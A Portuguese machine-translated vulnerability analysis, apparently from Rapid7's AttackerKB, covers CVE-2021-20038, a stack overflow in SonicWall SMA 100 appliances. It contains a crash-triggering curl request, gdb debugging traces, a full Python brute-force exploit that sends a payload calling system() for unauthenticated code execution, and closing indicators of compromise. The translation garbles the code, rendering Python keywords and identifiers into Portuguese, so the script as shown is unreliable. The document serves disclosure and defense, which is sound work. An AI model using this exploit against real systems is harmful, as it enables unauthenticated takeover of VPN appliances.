SonicWall corrige problema crítico de execução remota

Em 7 de dezembro de 2021, a SonicWall lançou um novo firmware para sua série Secure Mobile Access (SMA) 100. A SonicWall emitiu um aviso de segurança em 11 de janeiro de 2022, notificando os usuários de que o lançamento de dezembro corrigiu os problemas de segurança encontrados pelo Rapid7.

O problema mais crítico, um estouro de buffer baseado em pilha não autenticado na interface da Web, permite que invasores remotos executem código arbitrário como o nobod yusuário. A vulnerabilidade foi atribuída ao CVE-2021-20038 e possui uma pontuação CVSS de 9,8 .

Antes da publicação deste AttackerKB, não existia nenhuma prova pública de exploração de conceito. No entanto, esta entrada contém explorações de prova de conceito e uma discussão estendida sobre a criação de uma carga útil para obter a execução remota de código não autenticada. Este problema ainda não é conhecido por ter sido explorado na natureza.

Produtos afetados

As seguintes versões de firmware para a série SMA 100 são afetadas:

  • 10.2.1.2-24sv e anteriores
  • 10.2.1.1-19sv e anteriores
  • 10.2.1.0-17v e anteriores

Nem as versões 9.x ou 10.2.0.x são afetadas.

Análise rápida7

Observe que os deslocamentos e endereços discutidos nesta análise são do SMA 10.2.1.1-19sv e podem variar um pouco entre as versões.

CVE-2021-20038 é um estouro de buffer baseado em pilha que ocorre dentro do httpd binário. A série SonicWall SMA 100 usa uma versão modificada do servidor Apache HTTP. Uma das modificações do SonicWall introduziu essa vulnerabilidade. O problema surge de como as variáveis ​​de ambiente são concatenadas em uma string dentro do mod_cgi.so. Como o QUERY_STRING fornecido pelo invasor não está sujeito a nenhum tipo de verificação de comprimento, um invasor pode estourar um buffer baseado em pilha via strcat.

inquerir

Uma QUERY_STRING muito longa também fará com que futuras verificações de limites no buffer falhem devido a um estouro de número inteiro, resultando em uma série de strcatchamadas que excedem ainda mais os limites do buffer baseado em pilha.

O seguinte comando curl demonstra o travamento do servidor HTTP:

albinolobster @ ubuntu: ~ $ onda --insecure "https://10.0.0.7/?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 
curl: ( 52 ) resposta vazia do servidor

Do ponto de vista da chamada gdbfinal strcat, parece com o seguinte. Observe que o buffer vulnerável começa em 0xbfb6ae42 e deve ser limitado a 400 bytes.

Ponto de interrupção 1, 0xb69a88c3 em ?? () de /lib/mod_cgi.so
(gdb) disas 0xb69a88c3,0xb69a88c8
Despejo do código do montador de 0xb69a88c3 para 0xb69a88c8:
=> 0xb69a88c3: chame 0xb69a6a0c <strcat@plt>
Fim do dump do montador.
(gdb) x/2wx $esp            	 
0xbfb6acc0: 0xbfb6ae42 0x0969e9a8
(gdb) printf "%s\n", 0xbfb6ae42  
10.0.0.9 QUERY_STRING = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA WAF_NOT_LICENSED = 1SCRIPT_URL = / SCRIPT_URI = https: //10.0.0.7/HTTPS=onHTTP_HOST=10.0.0.7HTTP_USER_AGENT=curl/7.74.0HTTP_ACCEPT=*/*SERVER_SIGNATURE=SERVER_SOFTWARE=SonicWALL SSL-VPN Web ServerSERVER_NAME = 10.0.0.7SERVER_ADDR=10.0.0.7SERVER_PORT=443REMOTE_ADDR=10.0.0.9DOCUMENT_ROOT=/usr/src/EasyAccess/www/htdocsREQUEST_SCHEME=httpsCONTEXT_PREFIX=CONTEXT_DOCUMENT_ROOT=/usr/src/EasyAccess/www/htdocsSERVER_ADMIN=root@sslvpnSCRIPT_FILENAME=/usr/src/EasyAccess/www/cgi-bin/staticContent=CGI-bin/staticContent=CGI-PORT=423326GATEWAY_INTERFACE /1.1SERVER_PROTOCOL=HTTP/1.1REQUEST_METHOD=GET
(gdb) printf "%s\n", 0x0969e9a8  
REQUEST_URI=/?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
(gdb)

O estouro resulta em uma falha que ocorre devido a um acesso inválido à memória.

Sinal recebido do programa SIGSEGV, falha de segmentação.
0xb69a8fe9 em ?? () de /lib/mod_cgi.so
(gdb) disas 0xb69a8fe6,0xb69a8ff9
Despejo do código do montador de 0xb69a8fe6 para 0xb69a8ff9:
   0xb69a8fe6: mov 0x8(%ebp),%eax
=> 0xb69a8fe9: mov 0x110(%eax),%eax
   0xb69a8fef:  movl   $0x2000,0x10(%esp)
   0xb69a8ff7:  movl   $0x0,0x14(%esp)
Fim do dump do montador.
(gdb) imprimir $eax
$1 = 1094795585
(gdb) x/1wx $eax            	 
0x41414141: Não é possível acessar a memória no endereço 0x41414141
(gdb) bt
#0 0xb69a8fe9 em ?? () de /lib/mod_cgi.so
#1 0x41413f2f em ?? ()
#2 0x41414141 em ?? ()
#3 0x41414141 em ?? ()
#4 0x41414141 em ?? ()
#5 0x41414141 em ?? ()
#6 0x41414141 em ?? ()

Na saída do GDB acima, você pode ver que mod_cgi.sotenta desreferenciar um ponteiro que foi armazenado em $ebp+8, mas obtém o endereço inválido de 0x41414141ou AAAA. Isso faz parte da “carga útil” que enviamos na mensagem curl. Na verdade, podemos olhar para trás para $ebp-982ver todo o array de ambiente que estourou o buffer:

(gdb) printf "%s\n", $ebp-982
10.0.0.9 QUERY_STRING = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA WAF_NOT_LICENSED = 1SCRIPT_URL = / SCRIPT_URI = https: //10.0.0.7/HTTPS=onHTTP_HOST=10.0.0.7HTTP_USER_AGENT=curl/7.74.0HTTP_ACCEPT=*/*SERVER_SIGNATURE=SERVER_SOFTWARE=SonicWALL SSL-VPN Web ServerSERVER_NAME = 10.0.0.7SERVER_ADDR=10.0.0.7SERVER_PORT=443REMOTE_ADDR=10.0.0.9DOCUMENT_ROOT=/usr/src/EasyAccess/www/htdocsREQUEST_SCHEME=httpsCONTEXT_PREFIX=CONTEXT_DOCUMENT_ROOT=/usr/src/EasyAccess/www/htdocsSERVER_ADMIN=root@sslvpnSCRIPT_FILENAME=/usr/src/EasyAccess/www/cgi-bin/staticContent=CGI-bin/staticContent=CGI-PORT=423326GATEWAY_INTERFACE /1.1SERVER_PROTOCOL=HTTP/1.1REQUEST_METHOD=GETREQUEST_URI=/?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASCRIPT_NAME=/index.html1REQUEST_METHOD = GETREQUEST_URI = /? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASCRIPT_NAME = / index.html1REQUEST_METHOD = GETREQUEST_URI = /? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASCRIPT_NAME = / index.html

mod_cgi.soestá tentando carregar *(*($ebp+8)+0x110)para passá-lo como o primeiro parâmetro para ap_get_brigade:

Transbordar

ap_get_brigade é uma função normal do Apache httpd , então podemos facilmente procurar a fonte :

AP_DECLARE(apr_status_t) ap_get_brigade(ap_filter_t * próximo,
                                        apr_bucket_brigade * bb,
                                        modo ap_input_mode_t,
                                        apr_read_type_e bloco,
                                        apr_off_t readbytes)
{
    if (next) {
         return next - > frec - > filter_func.in_func(next, bb, mode, block,
                                               bytes lidos);
    }
    retornar AP_NOBODY_READ;
}

O parâmetro que sobrescrevemos com o buffer overflow é o primeiro parâmetro: ap_filter_t* next. Este ponteiro, se não for nulo, é usado para chamar uma função armazenada na memória. Em teoria, como o invasor substituiu esse ponteiro, ele pode controlar a função que está sendo chamada, resultando em execução remota de código não autenticada.

Escrevendo um Exploit RCE

Em circunstâncias normais, um estouro de buffer baseado em pilha como esse normalmente seria explorado usando retpara retornar a um endereço de escolha do invasor. No entanto, devido à forma como a lógica flui mod_cgi.so, o invasor não pode alcançar um controlável retsem primeiro se deparar com uma longa série de possíveis violações de acesso à memória inevitáveis. Como tal, o vetor de exploração mais viável é controlando a chamada de função em ap_get_brigade.

Antes de falarmos sobre escrever um exploit, precisamos entender as mitigações de exploração implantadas no sistema e como, em particular, httpdsão afetadas por elas.

root@sslvpn:~ # cat /proc/sys/kernel/randomize_va_space                                                                                                                                               
2

Aqui podemos ver que a série SonicWall SMA 100 permite a randomização de layout de espaço de endereço completo (ASLR), o que significa que devemos esperar que a pilha, heap, bibliotecas e o executável principal sejam carregados em endereços aleatórios.

No entanto, existem algumas coisas httpdque enfraquecem o ASLR. A primeira é que o executável principal, httpd, não é compilado como um executável independente de posição, portanto não carrega com um endereço base aleatório. Previsivelmente, ele será carregado a 0x8048000cada momento.

root@sslvpn:~ # cat /proc/26775/maps                                                                                                                                                                  	 
08048000-080e0000 r-xp 00000000 01:00 100949  	/usr/src/EasyAccess/bin/httpd
080e0000-080e3000 rw-p 00098000 01:00 100949  	/usr/src/EasyAccess/bin/httpd
080e3000-080e6000 rw-p 00000000 00:00 0

Além disso, o httpd servidor usa o recurso prefork do Apache .

root@sslvpn:~ # /usr/src/EasyAccess/bin/httpd -l                                                                                                                                                     	 
Compilado em módulos:
  core.c
  mod_so.c
  http_core.c
  prefork.c

Isso significa que httpd bifurca uma série de processos filho para lidar com solicitações HTTP recebidas. Isso é importante porque um processo filho bifurcado tem exatamente o mesmo layout de memória que o processo pai. O que significa que todos os filhos terão exatamente os mesmos endereços de pilha, heap e biblioteca que o processo pai. E, talvez igualmente importante notar, é que quando um processo filho falha, o httpd executável principal simplesmente bifurca um novo para substituí-lo. O que abre a oportunidade para o invasor adivinhar endereços válidos.

A exploração ap_get_brigadedo nosso estouro é um pouco desafiadora, pois requer três desreferências e um layout de memória bastante específico para controlar a chamada da função. Nós escrevemos um pequeno programa para caçar tais gadgets, e finalmente encontramos alguns, mas eles não eram utilizáveis ​​(por exemplo, apenas resultou em novas e frustrantes violações de acesso à memória).

Sem gadgets existentes, precisamos introduzir o padrão desejado no sistema. Isso significa obter o padrão no heap ou pilha e adivinhar sua localização corretamente. O espaço de heap para httpdé realmente muito grande e, embora o invasor possa obter um padrão explorável na memória heap, prever o endereço para o qual o uclibc pode mallocá  lo não era um exercício que queríamos realizar (embora bastante provável). O que me deixou com a introdução do padrão explorável na pilha.

Há alguns benefícios em usar a pilha neste caso. A primeira delas é que, por httpdser um executável de 32 bits, o endereço superior da pilha tem apenas 11 bits de aleatoriedade aplicados a ele.

Byte 1Byte 2Bytes 3Byte 4
0xbfBit mais alto sempre definido4 bits mais baixos sempre 0 para alinhamento de páginapágina alinhada (aka 0)

O que significa que sabemos que o endereço superior da pilha sempre estará no intervalo de 0xbf800000 a 0xbffff000. O que reduz os possíveis endereços do topo da pilha para 2.047 possibilidades. Obviamente, precisamos adivinhar o endereço da $ebp+8substituição real para obter nossa exploração. Mas, sabemos que vai estar em algum lugar perto do topo da faixa. Se ingenuamente forçarmos um intervalo de 0x2000 endereços para cada endereço de pilha superior, devemos adivinhar com sucesso o endereço correto em 16 milhões de solicitações HTTP.

16 milhões são tantos pedidos! Com certeza é. Mas lembre-se, esta é apenas uma abordagem ingênua, provavelmente muito melhorada por alguém que precisa disso para pousar. Estamos apenas estabelecendo que é possível. Mas ainda podemos reduzir um pouco mais essa contagem. Sabemos que nosso endereço de destino sempre estará alinhado ao 0. O que reduz o número de solicitações necessárias para 1 milhão de solicitações HTTP.

Um leitor astuto e um desenvolvedor de exploração experiente pode apontar que podemos reduzir ainda mais o número de solicitações repetindo a exploração várias vezes em nossa carga útil. Uma ótima ideia! Infelizmente, temos que lidar com uma variedade de fatores que limitam nossa capacidade de repetir a exploração:

  1. A QUERY_STRING não tem a url decodificada, então não podemos (razoavelmente) usar a maior parte da exploração para realmente… explorar.
  2. A página solicitada obtém a URL decodificada, mas há limitações de tamanho e decodificação %00.
  3. O estouro de buffer baseado em pilha ocorre tão perto do topo da pilha que uma exploração que exceda 1700 bytes corre o risco de gerar uma violação de acesso à memória acessando o endereço superior +1 ou simplesmente sobrescrevendo uma variável global que possamos precisar mais tarde (por exemplo, o env[ ] ao chamar system).
  4. Um monte de variáveis ​​de ambiente desinteressantes, inúteis ou repetidas estão fora do nosso controle e preenchem muitos dos 1700 bytes.

Dadas essas restrições, escrevemos um exploit que tentou forçar o endereço explorável enviando todos os ~ 1 milhão de solicitações HTTP GET. Novamente, é preciso enfatizar que isso pode ser melhorado muito, e o seguinte serve apenas como uma coisa do tipo “isso é possível”.

import socket
import ssl
import time

base =  0xbf800000 
curr = base
step =  0x1000 
base_array = []
 while curr !=  0xbffff000 :
	base_array . anexar (atual)
	curr + = passo

imprimir (" Gerado "  + hex(len(base_array)) + " stack top addr " )

all_array = []
 para base em base_array:
	search_start = base -  0x2800 
	search_end = base -  0x0800 
	curr = search_start
	 while curr != search_end:
    	curr + =  0x10 
    	all_array . anexar (atual)

imprimir (" Gerado "  + hex(len(all_array)) + " pesquisar endereços " )

imprimir (" Enviando sploits... " )
 para endereço em all_array:
	 print (hex(endereço), end ='\r')
	address - =  0x110 
	address + =  4 
	# transforma bytes em url codificado 
	um = (endereço >>  24 ) &  0x000000ff 
	dois = (endereço >>  16 ) &  0x000000ff 
	três = (endereço >>  8 ) &  0x000000ff 
	quatro = (endereço &  0x000000ff )

	se um ==  0  ou dois ==  0  ou três ==  0  ou quatro ==  0 :
    	 # o servidor não aceitará um byte nulo 
    	continue

	addr_one =  b " % "  + str . codificar(' {:02x} ' . formato (quatro,' x ' )) +  b " % "  + str . codificar(' {:02x} ' . formato (três,' x ' )) +  b " % "  + str . codificar(' {:02x} ' . formato (dois,' x ' )) +  b " % "  + str . codificar(' {:02x} ' . formato (um,'x'))

	endereço + =  0x110 
	endereço + =  4

	# transforma bytes em url codificado 
	one = (address >>  24 ) &  0x000000ff 
	two = (address >>  16 ) &  0x000000ff 
	three = (address >>  8 ) &  0x000000ff 
	four = (address &  0x000000ff )
    
	if one ==  0x28  or two ==  0x28  or three ==  0x28  or four ==  0x28 :
    	 # oh não o cara que escreveu isso é um hack! Deveria ter 
    	# deslocado a carga útil para que os metacaracteres não importassem. 
    	# tudo bem :( 
    	continua

	addr_two =  b " % "  + str . codificar(' {:02x} ' . formato (quatro,' x ' )) +  b " % "  + str . codificar(' {:02x} ' . formato (três,' x ' )) +  b " % "  + str . codificar(' {:02x} ' . formato (dois,' x ' )) +  b " % "  + str . codificar(' {:02x} ' . formato (um,'x'))
	system_addr =  b " %64% b8 %06% 08 " 
	shell_cmd =  b " ;{touch,/tmp/lol}; "

	#payload = ((b"%94%d7%ba%bf") + (b"%a8%d8%ba%bf") + (b"%a8%d8%ba%bf") + (b"% 64%b8%06%08") + b";{touch,/tmp/lol};")*2 
	exploit = addr_one + addr_two + addr_two + system_addr + shell_cmd

	payload = exploit * 2 
	spray_pray =  b " / "  + payload +  b " ? "  + ( b ' z ' * 518 )
	request =  b ' GET '  + spray_pray +  b ' \r \n \r \n '

	meia = soquete . soquete (soquete . AF_INET, soquete . SOCK_STREAM)
	envolvidoSocket = ssl . wrap_socket(meia)

	wrapedSocket . conectar((" 10.0.0.7 " , 443 ))
	wrapedSocket . enviar pedido)
	wrapedSocket . recv( 1280 )
	wrapedSocket . Fechar()

A parte mais interessante do exploit é a geração da requisição GET. Que, por exemplo, será algo assim para o servidor HTTP:

GET /%04%d7%7f%bf%18%d8%7f%bf%18%d8%7f%bf%64%b8%06%08;{touch,/tmp/lol};%04%d7%7f % G% 18% D8% 7f% GC% 18% D8% 7f% GC% 64% B8% 06% 08; {toque, / tmp / lol} ;? zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz

A carga útil do exploit (que é repetida duas vezes, embora o exploit não capitalize isso) é de quatro endereços e uma string para passar para o sistema:

  1. 0xbf7fd704
  2. 0xbf7fd818
  3. 0xbf7fd818
  4. 0x0806b864
  5. ;{toque,/tmp/lol};

O primeiro endereço, quando adicionado com 0x110 e desreferenciado, será resolvido para o segundo endereço. Quando desreferenciado, o segundo endereço aponta para o terceiro e o terceiro endereço mais quatro pontos para o quarto, que será resolvido em uma chamada para system. A string passada para systemcomeça em 0xbf7d818, então há um punhado de caracteres ruins antes de /bin/shatingir touch /tmp/lol.

Testar a exploração em um destino com um endereço de pilha superior de 0xbfb6c000 resultou em exploração bem-sucedida após 4 horas e 43 minutos.

root@sslvpn:~ # date 
Qui 25 de novembro 03:29:39 PST 2021 
root@sslvpn:~ # ls -l /tmp/lol 
ls: não é possível acessar /tmp/lol: Arquivo ou diretório inexistente
root@sslvpn:~ # ls -l /tmp/lol 
-rw-r--r-- 1 ninguém ninguém 0 Nov 25 08:05 /tmp/lol

Como você pode ver, o atacante ganha a execução como nobody.

O exploit acima é ruim por vários motivos. Alguns seguem:

  1. Poderia usar um padrão de repetição para adivinhar vários endereços em uma solicitação HTTP.
  2. Poderia usar um intervalo de varredura menor (0x800 – 0x2800 é um intervalo muito generoso).
  3. A exploração é interrompida se o endereço 3 tiver caracteres de shell incorretos (por exemplo, ().

A exploração também não considera problemas de alinhamento que ocorreriam devido a:

  1. O destino usando um nome de host que não é sslvpn.
  2. Um IP de destino e um IP de host que não tenham 8 bytes.
  3. Uma porta de destino que não tenha 3 bytes de comprimento
  4. Uma porta de origem que não tenha 5 bytes de comprimento.

No entanto, isso por si só mostra que, mesmo com desafios, esse problema é absolutamente explorável e deve ser corrigido o mais rápido possível. Também abordamos vários desses problemas em uma exploração mais madura com uma carga útil armada que você pode encontrar no GitHub .

Indicadores de Compromisso

O ataque, especialmente como escrito acima, é bastante barulhento. O melhor lugar para procurar indicadores de comprometimento é o httpd.log. Isso pode ser recuperado através da interface da web: Sistema –> Diagnóstico –> Relatório de Suporte Técnico –> Download do Relatório. O httpd.log arquivo estará dentro do arquivo zip. Falhas de segmentação registradas são sinais potenciais de comprometimento. Aqui está um trecho do meu sistema httpd.log após a exploração:

[Qui 25 de novembro 13:30:11.805181 2021] [core:notice] [pid 1779] AH00052: filho pid 30485 sinal de saída Falha de segmentação (11)
[Qui 25 de novembro 13:30:11.805375 2021] [core:notice] [pid 1779] AH00052: filho pid 30486 exit signal Falha de segmentação (11)
[Qui 25 de novembro 13:30:11.805571 2021] [core:notice] [pid 1779] AH00052: filho pid 30487 sinal de saída Falha de segmentação (11)
[Qui 25 de novembro 13:30:11.805765 2021] [core:notice] [pid 1779] AH00052: filho pid 30488 exit signal Falha de segmentação (11)
[Qui 25 de novembro 13:30:11.843348 2021] [core:notice] [pid 1779] AH00052: filho pid 30489 sinal de saída Falha de segmentação (11)
[Qui 25 de novembro 13:30:11.843583 2021] [core:notice] [pid 1779] AH00052: filho pid 30490 exit signal Falha de segmentação (11)
[Qui 25 de novembro 13:30:11.843785 2021] [core:notice] [pid 1779] AH00052: filho pid 30491 sinal de saída Falha de segmentação (11)
[Qui 25 de novembro 13:30:11.843983 2021] [core:notice] [pid 1779] AH00052: filho pid 30492 exit signal Falha de segmentação (11)
[Qui 25 de novembro 13:30:11.844214 2021] [core:notice] [pid 1779] AH00052: filho pid 30493 exit signal Falha de segmentação (11)

Realisticamente, um invasor pode excluir esse arquivo de log logo após explorar o sistema, mas vale a pena capturar tentativas de exploração e invasores que não se limpam adequadamente.

status.txtlog também pode ser de interesse. Especificamente, ele exibe todas as pssaídas mostrando todos os processos em execução. Infelizmente, revisar este log requer alguma familiaridade com coisas que devem e não devem estar sendo executadas no sistema, o que pode ser muito difícil de saber para um leigo. Revendo esta saída no meu sistema, podemos identificar facilmente gdbbusyboxcomo anomalias.

Processos
-----------------------------------------------------------------
PID DO USUÁRIO %CPU %MEM VSZ RSS TTY STAT START TIME COMANDO
raiz 1 0,0 0,0 2068 584 ? Ss 27 de novembro 0:42 init [3]  
raiz 2 0,0 0,0 0 0 ? S Nov27 0:00 [kthreadd]
raiz 3 0,0 0,0 0 0 ? S Nov27 0:00 [ksoftirqd/0]
raiz 4 0,0 0,0 0 0 ? S Nov27 0:00 [kworker/0:0]
raiz 5 0,0 0,0 0 0 ? S < Nov27 0:00 [kworker/0:0H]
raiz 6 0,0 0,0 0 0 ? S 27 de novembro 0:00 [kworker/u4:0]
raiz 7 0,0 0,0 0 0 ? S 27 de novembro 2:12 [rcu_sched]
raiz 8 0,0 0,0 0 0 ? S 27 de novembro 0:00 [rcu_bh]
raiz 9 0,0 0,0 0 0 ? S 27 de novembro 0:06 [migração/0]
raiz 10 0,0 0,0 0 0 ? S 27 de novembro 0:15 [migração/1]
raiz 11 0,0 0,0 0 0 ? S 27 de novembro 0:01 [ksoftirqd/1]
raiz 13 0,0 0,0 0 0 ? S < 27 de novembro 0:00 [kworker/1:0H]
raiz 14 0,0 0,0 0 0 ? S< 27 de novembro 0:00 [khelper]
raiz 15 0,0 0,0 0 0 ? S< 27 de novembro 0:00 [redes]
raiz 461 0,0 0,0 0 0 ? S< 27 de novembro 0:00 [writeback]
raiz 463 0,0 0,0 0 0 ? S < Nov27 0:00 [bioset]
raiz 465 0,0 0,0 0 0 ? S< 27 de novembro 0:00 [kbloqueado]
root   	622  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [ata_sff]
raiz 632 0,0 0,0 0 0 ? S 27 de novembro 0:00 [khubd]
raiz 742 0,0 0,0 0 0 ? S Nov27 0:01 [kworker/0:1]
raiz 757 0,0 0,0 0 0 ? S 27 de novembro 0:00 [kswapd0]
raiz 758 0,0 0,0 0 0 ? SN 27 de novembro 0:00 [ksmd]
raiz 825 0,0 0,0 0 0 ? SN 27 de novembro 0:00 [khugpageged]
raiz 826 0,0 0,0 0 0 ? S 27 de novembro 0:00 [fsnotify_mark]
raiz 845 0,0 0,0 0 0 ? S< 27 de novembro 0:00 [criptografia]
raiz 1011 0,0 0,0 0 0 ? S Nov27 0:01 [kworker/1:1]
raiz 1061 0,0 0,0 0 0 ? S< 27 de novembro 0:00 [iscsi_eh]
raiz 1065 0,0 0,0 0 0 ? S < Nov27 0:00 [kworker/0:1H]
raiz 1069 0,0 0,0 0 0 ? S< 27 de novembro 0:00 [fc_exch_workque]
raiz 1070 0,0 0,0 0 0 ? S< 27 de novembro 0:00 [fc_rport_eq]
raiz 1071 0,0 0,0 0 0 ? S < 27 de novembro 0:00 [fcoethread/0]
raiz 1072 0,0 0,0 0 0 ? S< 27 de novembro 0:00 [fcoethread/1]
raiz 1075 0,0 0,0 0 0 ? S< 27 de novembro 0:00 [fnic_event_wq]
raiz 1076 0,0 0,0 0 0 ? S< 27 de novembro 0:00 [fnic_fip_q]
raiz 1078 0,0 0,0 0 0 ? S< 27 de novembro 0:00 [bnx2fc_l2_threa]
raiz 1079 0,0 0,0 0 0 ? S< 27 de novembro 0:00 [bnx2fc_thread/0]
raiz 1080 0,0 0,0 0 0 ? S< 27 de novembro 0:00 [bnx2fc_thread/1]
raiz 1107 0,0 0,0 0 0 ? S 27 de novembro 0:00 [scsi_eh_0]
raiz 1149 0,0 0,0 0 0 ? S< 27 de novembro 0:00 [bnx2i_thread/0]
raiz 1150 0,0 0,0 0 0 ? S< 27 de novembro 0:00 [bnx2i_thread/1]
raiz 1197 0,0 0,0 0 0 ? S< 27 de novembro 0:00 [bond0]
raiz 1244 0,0 0,0 0 0 ? S< 27 de novembro 0:00 [cnic_wq]
raiz 1246 0,0 0,0 0 0 ? S< 27 de novembro 0:00 [cxgb4]
raiz 1257 0,0 0,0 0 0 ? S Nov27 0:00 [kworker/1:2]
raiz 1308 0,0 0,0 0 0 0? S <27 de novembro 0:00 [deferwq]
raiz 1322 0,0 0,0 0 0 ? S 27 de novembro 0:00 [kjournald]
raiz 1328 0,0 0,0 0 0 ? S< 27 de novembro 0:00 [loop0]
raiz 1407 0,0 0,0 13752 2744 ? Sl Nov27 1:45 /usr/sbin/vmtoolsd
raiz 1408 0,0 0,0 0 0 ? S < 27 de novembro 0:00 [kworker/1:1H]
raiz 1435 0,0 0,0 2376 588 ? Ss 27 de novembro 0:00 /usr/sbin/fcron
root 1447 0,0 0,4 19712 16996 pts/1 S+ 03:51 0:00 ./gdb -p 30092
raiz 1483 0,0 1,4 93152 59728 ? Sl 27 de novembro 0:55 /usr/bin/python3.6 /usr/src/EasyAccess/www/python/authentication_api/restful_api.py
ninguém 1526 0,0 0,0 0 0 ? Z 03:52 0:00 [staticContent] <extinto>
